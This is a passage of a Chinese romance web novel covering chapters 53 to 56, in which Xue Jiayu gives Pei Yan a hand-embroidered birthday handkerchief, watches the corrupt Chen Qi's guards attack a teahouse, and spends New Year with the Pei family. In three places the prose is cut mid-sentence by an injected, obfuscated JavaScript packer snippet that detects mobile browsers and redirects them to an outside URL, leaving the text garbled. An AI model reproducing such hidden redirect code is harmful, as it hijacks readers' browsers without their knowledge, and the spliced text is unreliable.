话音刚落,她就急不可耐地转移话题,“你今天怎么这么早就回来了?饿了吗?想吃什么?” “我今日没去大理寺,去跟别人谈事了。”裴砚的视线偷偷越过薛嘉玉,朝她的身后看,“话说你今日怎么奇怪?” 薛嘉玉连忙踮起脚尖,将他那道炙热的视线挡住,她两手捉住裴砚的手腕,“哪有?走,我们去用晚膳吧。” 裴砚还没来得及发表意见,就已经被薛嘉玉拉走了,她强行将裴砚拉到自己的厢房里面,然后反手将门关上,一抬眼,就对上了裴砚那双戏谑的眼神。 她忽然觉得裴砚这个人又要狗嘴里吐不出象牙来了。 他嘴角扬起,单手搂过她的腰,指尖轻轻划过她的腰肢,裴砚不着调地说:“不是说要带我去吃饭吗?难道说你的‘吃饭’和我想的不是一个?” 薛嘉玉没忍住翻了个白眼,她一把将裴砚推开,“你能不能别这么自作多情?你这几日也别好奇我的事儿,我想自己一个人待着。” 要是裴砚天天黏着她的话,恐怕不出今日,她准备的生辰礼物就曝光了。 可这话落在裴砚耳朵里,就成了她嫌弃自己太黏人的意味了。 裴砚登时有些委屈,他双手抱在胸前,倚靠在门上,将头偏过去,浑然一副赌气的模样,“怎么?你对我厌烦了是不是?嫌我太黏人了?” 她觉得裴砚这人好生小气,一点都不宽容大度,还总爱闹小脾气,还是刚认识那会儿好,虽然对人冷淡,但至少他不会像这样。 薛嘉玉用手指戳了戳裴砚的肚子,“小肚鸡肠,我没有这个意思,你别瞎想。” “那……我生辰快到了,你打算送我什么?” 这是裴砚第一次张口跟人家要生辰礼物,语气还有些别扭。 “这怎么能告诉你呢?你就安心等到生辰那一天吧。” 得到她的回应后,裴砚也算安心了,他牵起薛嘉玉的手,在她冰凉的指尖上留下一个吻,如蜻蜓点水一般。 “好,我等你。” 53. 沈公子 这两日,陈氏的事情闹得满城风雨,走在路上,都能听见有行人在小声交谈陈祺当年做的那些事情,不过真相残缺不全,因而各式各样的流言揣测都有,兴许是因为平日里陈氏作恶多端,搜刮民脂民膏,所以百姓嘴里的谣言都极其的不堪入耳。 薛嘉玉今日趁着裴砚去大理寺办事,便去他的房里偷了一套他平日里很少穿的衣服,反正裴砚衣服那么多,少了一套他应该暂且也看不出来,她换上衣服后,就从后门悄悄溜走了。 她来到逢春茶馆,王榷正坐在那儿津津有味地讲着陈祺当年为了分家都做出了多么令人不齿的事情来,薛嘉玉上了楼梯,来到二楼靠栏杆的位置坐下。 店小二十分热情,立马迎上来,“这位小公子,想要喝些什么?吃些什么?” 她卡着脖子说话,“你们这儿有云雾茶吗?” 店小二连连点头,语气激动,“有的有的!我们茶馆的云雾茶那可当属整个东市最好的!” 薛嘉玉掏出一锭银子,“那就来一壶吧。” 他双手虔诚地接过银子,“好的好的!” 待店小二迈着欢快的步伐离开之后,薛嘉玉便靠在栏杆上,将视线落在一楼的大堂里,那些客官们都听得十分认真,还有不少人在交头接耳。 已经过去两日,按理说,陈府为了护住自己的名声和面子,应该会有所作为,薛嘉玉猜测陈府这两日没有动静,恐怕是在偷偷打听这些谣言是怎么传出来的。 陈府累世公卿,她觉得陈祺会断然选择快刀斩乱麻,否则流言传得越久越广,那些文官就此事上奏折的话,陈府的日子就不会像之前那么好过了。 店小二手脚麻利,迅速将云雾茶恭敬地端在她的面前,“小公子,没让你久等吧?” 薛嘉玉抬起右手晃了晃,她端起茶壶,将茶盏满上,“无碍,我瞧你这茶馆的生意倒是比之前还要好啊。” “这还不是因为别人都想听说书先生聊聊陈府那点儿秘辛嘛。那陈府里面统共就没几个好人,平时对我们这些百姓也不和善,大家伙儿自然都想要听听陈老爷干得那些下作事儿。” “原来如此,你下去吧。” 她端起茶盏,抿了一口热乎乎的云雾茶,心道:这陈氏为何还没有动作? 说曹操曹操到。 只听茶馆大门被人猛地推开,那门好似都要被直接掀翻了,接着便瞧见有两个侍卫簇拥着一个身着暗红衣服的老头子,店小二本来想好言好语询问他们的来意,可是话还没有说出口,衣领就被侍卫给紧紧揪住,然后二话不说就直接将店小二甩了出去! 店小二“砰”的一声撞在墙上,脑袋后面都流血了! 可是那老头子连一个眼神都没有施舍一下,老头子往前走了几步,一手背在身后,一手指着那个在地上奄奄一息的店小二,“你们都给我睁大眼睛看清楚了,这就是造谣我陈祺,惹了我裴府的下场!要是再让我听见有人议论关于我陈府的事情,下场只会比五马分尸还要惨烈。你们若不信,大可试试。” 但俗话说,水能载舟,亦能覆舟,民心如水,一旦来自四面八方的水都汇聚在一起,则能改变乾坤。 陈祺这段话和侍卫对无辜店小二的所作所为彻底引起了茶馆里百姓们的愤怒,一位身着布衣,怀里还抱着襁褓的妇女从椅子上站起来,她的眸中含着点点泪花,向他控诉: “陈老爷,您做户部尚书的时候,克扣了多少粮食税,就连天灾那一年,您都不肯放过我们这些农户,我夫君在那一年为了按时缴上粮食税,活生生热死在了干裂的土地上。可陈老爷您却拿着我们用命换来的钱,在那么大的府邸里面享受我们求也求不来的冰块儿。” 有了第一个人出头,就会有第二个、第三个、第四个。 一位头发斑白,连腰杆也挺不直的老爷子爷跟着站了出来,“陈老爷,您是很有财富,很有地位,可是您不能利用这些压迫我们这些平民百姓吧!五年前,我的孙子和孙媳妇过得好好的,结果就因为您看上了我孙媳妇,结果闹得人家恩爱小两口不得不分开,我孙子在您府门口跪了一天一夜,可您还是没能放过孙媳妇儿,结果半个月后她就死在了你陈府的井里!就连我孙子只是想把她的尸体带回去,您都不肯。” 坐在二楼上,默默观察这一切的薛嘉玉忍不住摇了摇头,这陈府的秘辛还真不少,强抢民女、烧杀抢掠,还真是无恶不作。 下一刻,只见陈祺冲着左右两位护卫招了招手,那两个护卫立马冲着刚才说话那几个人走去,可是他们并没有闪躲,就那样直挺挺地站在那里,眼睁睁看着护卫拿着剑冲过来。 然而,那些原本在旁边坐着喝茶的客官纷纷主动站起身来,将方才那几位掩在身后。 陈祺见他们团结一致,不忍哼笑一声,他两手插在圆润的腰上,“你们这些蝼蚁,杀了便杀了,谁都不会替你们主持公道,你们两个先把那几个造谣我的给解决了!” 薛嘉玉从椅子上起来,刚想要下楼,却瞅见裴砚和金羽进来了,她慌乱间跑到二楼的一个角落里去躲着,生怕他瞧见自己,到时候又要缠着问她为什么穿着他的衣服来了茶馆? 她弓着腰,跟做贼似的藏在那个角落里,默默偷窥着楼下的一切。 这时,有个人忽然间轻轻拍了拍她的肩膀,薛嘉玉明明瞧见裴砚他们俩还在下面执行正义,她疑惑地转过头,“沈公子?” 沈峤瞧见面前的人真的是她,脸上顿时露出一抹笑容,“当真是你啊,我还以为认错人了,你怎么穿着一身男子衣裳啊?” 薛嘉玉只觉这人有些奇怪,明明都担心认错人,却还是要拍肩膀,就不怕当真认错了会很尴尬吗? 况且她和沈峤又不熟,薛嘉玉跟他没有什么好说的,随便笑着应和了一两句就转头继续观察楼下的情况了。 沈峤见她不理自己,便自己主动贴上去,他站在薛嘉玉旁边,“你也听说了陈祺的事情了吧,没想到他居然是个道貌岸然的伪君子。薛娘子还是莫要在这里待得太久,以免引火烧身,我带你一起离开这儿吧。” 薛嘉玉不忍嗤笑一声,她手肘搭在栏杆上,眸中划过一丝讥讽,“沈公子,你也是在刑部当差的,怎么能说得出来‘以免引火烧身’这几个字来的?你可是当真想让百姓养生丧死无憾?刑部同大理寺一样,都是掌管司法事务的,是用来执行正义,鸣不平之事的。底下跟陈祺斗嘴的裴少卿都没有怕引火烧身,你怎么就怕呢?” “诶,薛——” 他刚开口,打算替自己反驳几句,就被薛嘉玉给打断了。 她低头瞅了一眼他们二人之间的距离,完全担得起“咫尺之距”这四个字,“还有,沈公子,你已经有卫娘子这个未婚妻了,就莫要与我靠这么近了。” 丢下这句话后,薛嘉玉就戴上斗篷,拔腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229387|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跑,脚底跟抹了油似的,来到一楼的时候,为了不被他俩发现,薛嘉玉被迫贴着墙,放缓步子,走路的时候几乎没有声音。 可还是被精明的裴砚给发现了,他本来在收拾那个打死店小二的侍卫,余光间却瞥见墙角有个神秘的男子正贴着墙角走。 一看就知道这人有古怪。 裴砚转过身去,大步走到那个蹑手蹑脚的男子后面,一把捉住他的手腕,语气冷漠,“鬼鬼祟祟的,跑什么跑?转过身来,老实交代。” 薛嘉玉眉头紧皱,安详地闭上双眼,她咬咬牙,转过身来,“裴少卿。” 他瞧见面前这个被自己亲手抓住的人居然是自己的心上人,裴砚登时也惊了一下,他连忙把手松开,此刻也来不及问她为什么会扮成男子出现在这里,只轻轻拍了下她的腰,压低声音道:“快跑。” 她马上拔腿就跑,薛嘉玉从后门回到裴府,溜进自己厢房后,就立刻将自己身上的衣服换下来,随便套了件保暖的套衫在身上。 刚好这也到吃饭的时候了,薛嘉玉刚推开门,就有侍女来通传她去吃饭了,她来到正堂,此时蒋宁显和裴珩已经坐在凳子上吃饭了,这时候蒋宁显的肚子已经渐渐变大了些,她的食欲也比之前好了不少,因此裴珩专门吩咐厨子多做些她爱吃的菜。 蒋宁显瞧见她来了,连忙给她拉开凳子,她用手掌心拍了拍凳子,“快过来坐着吃饭吧。对了,你给文溪绣得手帕绣好了吗?” 薛嘉玉从袖子里面抽出一张白色手帕,“绣好啦!” 她接过手帕一瞧,那张手帕上用青色的线绣着“平安”两个字,不过这两个字绣得歪歪扭扭,简直可以用一波三折这个词儿来形容。 蒋宁显抿了抿嘴,有些违心地夸赞:“寓意挺好的。” 薛嘉玉知道自己绣得不是很好看,早知道绣字也这么难,她就应该去集市上买一张手帕的。 她坐下来,抄起筷子,一连夹了十几块牛肉塞在自己的碗里,方才跑了那么远,薛嘉玉饿得都快要疯了,她一手端着碗,一手握着筷子,埋着头哐哐干饭。 这时,裴砚火急火燎地从外面冲回来,正在餐桌边认真吃饭的三人皆齐齐抬起头,将视线挪到步履匆匆的裴砚身上。 薛嘉玉回过头一看,发现裴砚那张帅气的脸蛋上多了几道伤痕,嘴角还有一圈淡淡的淤青,她立刻放下筷子,走到裴砚面前,用指腹摸了摸他嘴角的淤青,“你……脸上挂彩了?” 裴砚抹了一把脸,没有在乎脸上的伤,他的手很自觉地搭在了她的腰上,“没事儿,去吃饭吧。” 蒋宁显也关心了一句,“文溪,怎么回事儿?” “今儿个去处理一寻滋挑事的人了” 裴珩是听说了下午逢春茶馆的事情,他放下手里的筷子,“是去茶馆插手陈祺的事情,然后被人家费打了吧。” 裴砚刚拿起来的筷子就又放下了,“裴珩,你会不会说话?” “得了,你平日里就好好当差吧,陈府的事情若真是有那么严重,也当交给刑部,你就让我省省心吧。” 裴砚懒得和他这种死驴斤斤计较,津津有味地吃着薛嘉玉给他夹的菜。 薛嘉玉用手扯了扯他的衣袖,裴砚心领神会,他弯下腰,将耳朵凑到她身边,等着她说话。 她在心里面打了半天腹稿,“文溪,今夜子正时分,你来我厢房,可以吗?” 54. 去你的府里 裴砚下意识就以为她是又喝醉酒了,可是也没有在她身上闻到酒的味道,于是他便以为是薛嘉玉自荐枕席,他心里面莫名开始有些紧张。 他吃完饭之后,脑子里面一直都在想今晚的事情,好不容易等到了子正时分,裴砚立刻打扮得花枝招展地去见薛嘉玉了。 裴砚站在门口,右手悬在半空,他迟疑了一下,又收回右手,转而用手整理了一下自己刚刚束好的头发,这才放心地敲了敲门。 薛嘉玉身上穿着睡裙,肩膀上披着披风,她推开门,只见外面站着一个跟花孔雀一样的男子,他身上穿着深紫色长袍,腰间佩戴香囊。 “你怎么还特意换了一套衣裳?” “你主动让我来见你,我怎么能不打扮得好看一些?” 她瞧着这外面也挺冷的,虽然是只送一张手帕,但也怕裴砚冷着,薛嘉玉将他请进去,然后从袖中掏出一张手帕,“文溪,这是我给你做的生辰礼物。” 裴砚伸手接过手帕,指腹轻轻划过上面的两个字,虽然歪歪扭扭的,但是这是她的心意,是她亲自给他做的第一个份礼物。 薛嘉玉担心他这样从小到大数什么好东西都见过的公子会嫌弃她绣的,便指着那上面的字强行解释:“文溪,你别看这字儿歪歪扭扭的,其实这是我的巧思!这代表着——唔!” 他没有等薛嘉玉将谎话说完,裴砚便直接弯腰吻上了她温热的双唇,他两只手托着她的屁股,凑到薛嘉玉耳边,带着喘息声,“阿玉,两只手搂着我的脖子。” 她也一时间意乱情迷了,鬼使神差地答应了,“好。” 裴砚一把将她抱起来,把她摁在门上,兴许是过于激烈,门发出了“砰砰砰”的撞击声。 薛嘉玉瞬间腾空而起,下意识就用两只腿盘住他的腰,手指紧紧地扣住他的后背,她完全没有主动权,被面前如狼似虎的男子吻得快要喘不过气来了,许。 她连忙用手拍了拍他的后背,示意让他停下来,裴砚立马停下,但并没有把她放下来,他急促地喘着气,“所以你大晚上的叫我过来,只是为了送我生辰礼物吗?” “那你以为我是让你过来干什么的?我跟你说,咱俩现在还没有订婚,你休想做一些旁的事情。” 裴砚含笑道:“我哪里敢?先不说你会不会把我踹死,裴珩也不会放过我的,况且长嫂也那么护着你,恐怕我只有被赶出家门的份。” “那你还不快点把我放下来,然后回自己屋里睡觉。” 裴砚是将她放下来了,可是却并没有离开这里,反倒是紧紧地牵着薛嘉玉的两只手,他垂了垂眸,沉吟道:“你跟我去一趟我府里吧,我想给你看一样东西。” “啊?”去你府里那岂不就是侧面印证了他脑子里面的歪心思吗? 薛嘉玉还没答应呢,这满脑歪心思的裴砚就把她给带到了自己的府门口,他这小裴府的一砖一瓦都是他自己督工建造的,里面的每一样陈设也都是他自己去集市上面挑来的,里面的装潢就和刚认识的他一样冷冷的,很单调,并无什么特别之处。 真要挑一个特别之处的话,那薛嘉玉会说是小裴府里面的贮藏室,这间屋子里面摆着各式各样的稀罕玩意儿,有市面上花重金就能买来的,也有全长安有市无价的,更有他自己找工匠专门打造的,放眼四海,也就只有他一人所有。 他带着薛嘉玉在自己府里面逛了一圈,带着她认认路,随后薛嘉玉疑惑不解地问:“所以,你带我来你家到底是为了什么?” 裴砚猫着腰,神神秘秘地说:“别这么着急,谜底一会儿就揭晓了。” 薛嘉玉知道这人对她总是心怀不轨,但他也克己复礼,不会当真做出那些出格的事情,所以薛嘉玉心里面也并不担心或者害怕。 只见他带着薛嘉玉来到自己厢房,然后不紧不慢地从一个储藏柜里面拿出一个精致的红木盒子,裴砚将盒子递到她的手上。 她一边打开盒子,一边好奇地问:“这是什么?” “我祖母当年去世的时候,留给我未来正妻的礼物。” 薛嘉玉忽然间就不敢收下这个盒子了,连忙“啪”的一声把盒子关上,她摇头如拨浪鼓一般,“不行,这个我不能收下。” 可送出去的东西哪里有收回来的道理。 裴砚以前从未有过心爱的女子,不知道要怎么对她好才算得上是真的好,他知道两家门楣差得很远,薛嘉玉的身世在权贵之间根本拿不出手,所以裴砚不想让她输给别的女子,他想要给她力所能及里最好的,也想要让她明白裴府从不介意她的身世。 “你必须收下,你若是不肯收下的话,我就当你根本没把我放在心上。” 无奈之下,她只得将这个盒子收下,薛嘉玉小心翼翼打开盒子,里面放着一枚深绿色手镯,颜色十分通透,除了手镯,还有一个旁人求也求不来的宫牌,有了这宫牌,便可无忧进出皇宫。 其实薛嘉玉有些想不通裴砚究竟为何要突然将这个交给她,按理说这种东西应该等正式下了婚书,再交给她的。 “你这么快就交给我,就不怕我到时候反悔不嫁?” 这本来是一句调侃,但裴砚却当真了。 “你到时候若真不愿嫁给我的话,那这两样东西就当是我给你的出嫁礼物。” 薛嘉玉握住红木盒子的手紧了紧,她垂下脑袋,没有看他,“谢谢你,裴砚,真的很谢谢你。” 裴砚倏地又变得不正经起来,他用手指指着自己的脸颊,吊儿郎当地说:“既然谢谢我,那就别只是口头说说。” 她扬起脑袋,视线落在了裴砚的那双嘴唇上,他的嘴唇薄薄的,很水润,也很有肉感,让人忍不住想要吻上去并狠狠地咬一口。 薛嘉玉的脑子里忽然浮现出一帧帧少儿不宜的画面,她连忙把那些□□的画面摘出去,接着踮起脚尖,两只手环住裴砚的腰肢,然后闭上眼睛,冲着他的双唇吻了上去。 果然,那双嘴唇的触感极其的美妙且舒适,薛嘉玉也当真忍不住用牙齿轻轻地咬了一下他的下嘴唇,一阵酥酥麻麻的感觉传遍了裴砚的全身。 裴砚用手摸了摸方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232019|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被咬的地方,忍不住笑了一下,“亲就亲,怎么还咬人呢?” 薛嘉玉最擅长在他面前推卸责任了,“这怎么能怪我?谁让你嘴巴长那么诱人的?” 他顺着薛嘉玉的话往下说:“好好好,都是我的错,我不应该长这么风流倜傥,惹得我们阿玉都抵抗不了诱惑。” “你知道就好。” 大抵是因为薛嘉玉想到今日陈氏闹街的事情,猜测陈氏应该很快就要查到是她干的,所以薛嘉玉极其珍惜和裴砚相处的日子。 她难得提议:“要不今日……我和你一起在这儿住下吧?” 虽然裴砚在心里面想过很多次,但是真当她提出来的时候,他下意识的反应是拒绝。 “不可,私相授受若是被传了出去,对你没有任何好处。” 薛嘉玉此时此刻不想管那劳什子虚礼,再说了,兴许过不了多久,她连命都没有了。 “私相授受怎么了?我不怕那些人对我的看法,你到底答不答应?” 裴砚既不想惹她生气,又不想让她成为别人的饭后谈资,他极有耐心地说:“要不还是你睡床上?我睡地上?” 薛嘉玉绕到他的身后,两手搭在裴砚的肩膀上,强行推着他往床榻上走,裴砚无奈坐在床上,他顿时有些看不清薛嘉玉了。 他心中仍有顾虑,“那我们两个之间隔条被子,总行了吧?” 这时,屋内灯火摇曳,烛光昏暗,气氛十分旖旎,薛嘉玉没有理会他的话,而是掀起被子一角,一骨碌地钻了进去,她抬起腿,轻轻地踢了一下他的大腿,跟调情似的。 “你快过来,我有话想要问你。” 裴砚无奈,只得乖乖听从她的话,他躺在薛嘉玉身边,比她还要拘谨,他偏过头看向一脸平静的薛嘉玉,“你想跟我说什么?” 她翻了个身,面朝着裴砚,薛嘉玉抿了抿嘴唇,看似十分纠结的模样,她默了一会儿才道:“文溪,你能够接受别人欺骗你吗?” 不知为何,裴砚听见这个问题后,竟然松了口气,他言简意赅地回答:“看人吧。” 裴砚的这个回答倒是让薛嘉玉有些摸不着头脑了,她想要再追问几句,却又怕裴砚会发现自己的秘密。 “原来如此。” 他体贴地给薛嘉玉掖好被子,温柔道:“别想那么多,快睡吧。” 然而薛嘉玉翻来覆去的就是睡不着,这些天里她心里面一直在纠结一件事情——她到底应不应该对裴砚全盘托出? 裴砚都未曾骗过她,那她是不是也应该对他坦诚,可是薛嘉玉很怕他会劝自己不要亲自冒险,然后他替自己去做那些肮脏的事情。 思来想去半天,薛嘉玉还是打算跟他讲讲自己父母的事情,她转过身来,正想要跟他坦白,却瞧见裴砚已经闭上眼睛,安静睡着了。 算了,他都睡了,那就不打扰他了。 薛嘉玉只好翻过身去,合上眼皮,强行逼着自己睡觉。 殊不知,这时候裴砚却悄悄睁开眼睛,他偷摸着瞟了她一眼,心中百感交集。 55. 新岁 这几日街坊间少了很多关于陈氏的流言,也许是因为逢春茶馆的事情,又或许是因为这马上就过年了。 裴府也因为过年变得越来越热闹了,裴珩也渐渐减少公务,多了一些在家的时间,反倒是裴砚一天到晚不知道在外面忙些什么,现在倒是轮到薛嘉玉羡慕兄嫂二人的幸福生活了。 蒋宁显月份大了后,精神就不如从前了,她没那么多精力操心府中置办年货的事情,偏巧今年霍玉燕和裴诚要待在广陵过年,于是蒋宁显就把此事交给了薛嘉玉,原本薛嘉玉屡次推脱,但是后来瞧着蒋宁显确实身子一日不如一日,便也硬着头皮应下来了。 幸好裴砚也是个有良心的,知道她接下来了这个令人头痛的活,也就不再时时不着家,倒是经常回来帮她置办年货。 有了裴砚的帮衬,薛嘉玉倒也操办得得心应手起来,府中也比平常多了不少的年味。 裴砚知道她喜欢喝香饮子,就特地在过年这一天给她买了一杯,可薛嘉玉收到这份惊喜的时候并不是很开心,她抱着这唯一的一杯香饮子,委屈巴巴地控诉:“你怎么只买了一杯啊?” 他抬起手臂,作势又要弹她的脑门,“一杯都不够你喝的?那你到底想喝几杯?” 薛嘉玉伸出右手,比了一个“2”,“我可不太贪心,就想喝两杯,因为好事成双。” “做你的春秋大梦吧。” 她两手捧着香饮子,依依不舍地喝了一口,生怕喝得太大口,一下子就喝完了,薛嘉玉和裴砚一同踏进府门,可她似乎是记下了方才香饮子的仇,所以故意撞了一下裴砚。 裴砚差点没直接撞在门框上,本来之前脸上挂的彩好不容易消了,这要是过年还挂上了彩,那他的面子往哪儿搁? 薛嘉玉自知做了坏事,有些心虚,连忙问下人蒋宁显在哪儿,得知蒋宁显在小厨房里面煎饼,她拔腿就朝着小厨房跑。 他可没这个心思跟小女娃计较,裴砚两手背在身后,慢悠悠地跟在她的身后。 她一把推开小厨房的门,躲到蒋宁显身边,“长嫂,你快替我做主啊,那裴砚又要欺负我!” 蒋宁显从旁边的盘子里拈起一块没那么烫的煎饼,二话不说就喂到了她的嘴巴里,“又怎么啦?” 吃到了心心念念的煎饼,薛嘉玉的心情登时就好了不少,她两手抱着蒋宁显的手臂,仰起头冲着她告状,“长嫂,裴砚说今天过年所以奖励我喝香饮子,可是他只大发慈悲给我买了一杯,还弹我脑门!还说我简直就是在做春秋大梦!你说他怎么就这么抠门呢?” 蒋宁显还以为多大事儿呢,不过就是想喝一杯香饮子罢了,她从袖中掏出一个钱袋子,强硬地塞进了薛嘉玉的手心里,“来,拿着,这是我和裴珩给你准备的压岁钱。文溪不给你买,你就自己去买便好了。” 殊不知,这一切都被靠在门框上的裴砚尽收眼底。 他大步流星地走到前面来,一把夺过薛嘉玉手里面的钱袋子,抬起手掂了掂,“这么多钱?之前裴珩给我压岁钱可从来没给过这么多。还有,长嫂,你别太惯着她了。” 蒋宁显伸出手,用手指掐了一下裴砚的手臂,“怎么说话呢?当初拜托我们好好照顾阿玉的人是你,现在让我们不要惯着她的人也是你。文溪,她想要吃什么喝什么,你就满足她。等有一天,她什么要求都不提了,你定会追悔莫及的。” 薛嘉玉踮起脚尖,将手臂伸长,努力去够裴砚举得高高的钱袋子,嘴巴上还不忘附和:“就是!裴砚,你要是不把钱袋子给我,就等着后悔吧!” 裴砚被两个女子欺负,只有理亏的份。 他心不甘情不愿地把手里的钱袋子还给薛嘉玉,还不忘叮嘱一句——“别一次性喝太多。” 薛嘉玉攥紧钱袋子,这次她可不能再让裴砚抢走宝贝了,她临走前还不忘冲着裴砚做个鬼脸,随后迈开腿,迅速离开这个是非之地。 裴砚单手叉腰,无奈地叹了口气,“那长嫂就没给我准备压岁钱?” 蒋宁显拍了一下他的手背,“你都多大了,还要压岁钱?你怎么不想着给你的侄女儿压岁钱呢?” “这才多久都已经知道是女儿了?” “这自然是不知道的,不过我和裴珩都挺想要个女儿的。” 裴砚知礼节,所以只是用手指指了一下她挺起来的肚子,“那等侄女儿出生后,我就给她送份大礼。” 她本来也就是跟裴砚说笑的,真要计较起来,蒋宁显好歹也是他的长辈,哪有长辈向小辈讨东西的? 蒋宁显摆了摆手,“罢了罢了,你呀还是想想怎么把你的终身大事定下来吧,到时候我给你俩的孩子送上我蒋府的传家宝。” 裴砚也想过这件事情,他觉得这件事情急不来,薛嘉玉今年四月才满二十,就算她愿意,也必须等她满了二十再来商量,否则太早结婚,裴砚怕她会后悔。 况且,当前最重要的是薛嘉玉不信任他,瞒了他太多事情了,裴砚无数次想要打开她的心扉,让她对自己畅所欲言,可是最后也都是以失败告终。 所以他觉得,应该只有当薛嘉玉解开了心结后,她才能真正做自己吧。 裴砚不过心地点点头,随便应付了两三句,就转身离开了小厨房,他了解薛嘉玉平日里的习惯,这个时候她肯定是在自己的厢房里窝着,不知道在盘算什么事情。 果不其然,他一推开门,就看见薛嘉玉正背对着自己,不知道她又在偷偷摸摸做什么事情。 裴砚放缓脚步,悄悄地朝着她的身后走去,他走路并没有发出任何声音,因此薛嘉玉并没有发现身后有人。 他定在薛嘉玉的身后,将她遮了个严严实实,当他的影子落在桌子上的时候,薛嘉玉才发现他偷偷跑过来了,她连忙关上面前的医书,回过身来,“你过来了,怎么也不吱一声?” “这不是看你正认认真真地做事儿嘛,就没好意思打扰你。” 薛嘉玉有些恼怒,“你走远点,我还没有原谅你呢。” 裴砚厚颜无耻地贴上来,他找来一根板凳坐下,紧紧地挨着薛嘉玉,他们二人膝盖碰在一起,“好啦,别生气了,你先把眼睛蒙上,我有东西要交给你。” “什么啊?神神秘秘的,别又是什么给孙媳妇儿、儿媳妇儿的礼物了,我真的担待不起。” 薛嘉玉嘴上这么说,但身体很诚实,她按照裴砚说得,用两只手遮住眼睛,心里面有些忐忑和期待,在猜测他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232020|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要送什么东西给她?是两杯香饮子吗?还是什么别的好吃的? 可是她的手心并没有感知到任何温暖的东西,鼻子也没有嗅到什么香味,只感觉手心沉甸甸的。 她睁开双眼,只见手心上冒出了一个钱袋子,薛嘉玉一边掂了掂,一边疑惑地看着裴砚。 “你怎么给我钱袋子啊?” 裴砚的嘴角扬起一抹意味不明的笑容,“当然是给你的压岁钱,早就给你准备好了。我不知道送你什么比较好,思来想起还是觉得直接给钱最好,这样也不会为难你。” 她收紧手心,钱袋子被挤压得有些变形,薛嘉玉将钱袋子放在胸口的衣服里面,她沉吟片刻,还是觉得有必要说一下,“文溪,你这段时间陆陆续续给我塞了不少钱,我真的不缺钱,你别再当散财童子了好吗?” “我这不是怕你舍不得给自己花钱嘛,再说了长嫂给你的,你都可以欣然接受,为什么我给你的不行?” “我已经从你这里得到了太多东西了,如果你一直对我这么好,这么宽容,我会——” 薛嘉玉的话戛然而止,她不知道接下来应该怎么说才好了,于是在脑海里面疯狂寻找合适的措辞,从而把裴砚糊弄过去,可是裴砚似乎是看出来了她的窘迫,主动把这件事情掀过去了。 裴砚从凳子上起来,他站在薛嘉玉面前,冲她伸出一只手,“今夜,我们去青城山上放焰火和孔明灯吧。” 薛嘉玉伸出手,搭在他的手心上,心中竟划过一丝酸楚。 她勉强地笑了笑,“好。” 今夜虽是除夕,团圆饭理应丰盛,但裴府人并不多,好几个奴仆都回家与家人团聚了,所以蒋宁显就吩咐小厨房不要做那么多菜,以免浪费。 他们四人围坐在一张圆桌边,薛嘉玉本想倒酒喝,却被裴砚用一个眼神拒绝了,无奈之下她只能选择喝茶,若是强行喝了酒,自己酒后又做了糗事儿,那裴砚定会日日夜夜靠在她的耳朵边念叨的。 桌子上摆满了瓷盘,有紫参野鸡汤、东坡肉、烤全羊、松鼠桂鱼、清蒸三鲜、翡翠豆腐,个个色香味俱全,让薛嘉玉垂涎三尺,她抄起筷子,每一道菜都夹了一点,然后和着饭一块吃进肚子里面去。 这时,蒋宁显举起茶杯,“马上就要迎来新岁了,愿文溪能够在官场如鱼得水,也愿阿玉能够平平安安,万事顺意。” 薛嘉玉和裴砚一前一后地举起杯子,只听裴砚抢先一步道:“那我们俩就希望长嫂也要平平安安,孩子平安降生。” 裴珩举起茶杯,与他们三人碰了一下,四个杯子碰在一起立刻就发出了“砰”的一声,他收回茶杯,侧过头去看着蒋宁显,眸中不忍划过一丝心疼,“腰疼不疼?疼的话,就靠着椅背吧。” 蒋宁显摇了摇头,“还好,不疼。” “那我给你夹点肉吃吧。” 他用筷子给蒋宁显夹了好几块肉,蒋宁显的碗登时变得满满当当了。 薛嘉玉光顾着去瞧他们俩了,没留意到裴砚也把她的空碗填满了,等她垂下头的时候,发觉自己碗里又多了半碗白米饭和半碗的肉。 她知道这不是凭空变来的,薛嘉玉悄悄凑近他,紧接着小声说:“谢谢你,文溪。” 56. 孔明灯 用完晚膳之后,蒋宁显觉得腰有些开始疼了,裴珩便先扶着她回房间休息一会儿,随后再去跟他们俩汇合。 裴砚牵来一匹黑马,他扶着薛嘉玉坐在马鞍上面,然后自己再翻身上去,面前的女子正放松地靠在他的怀里,两只手牵着缰绳,裴砚一手从后往前揽住她的腰,一手握着缰绳,微微倾身上前,二人的距离则拉得更近了,他的脸颊轻轻贴在薛嘉玉的耳朵上,随后两腿一夹马肚子,黑马立刻在热热闹闹的街道上驰骋。 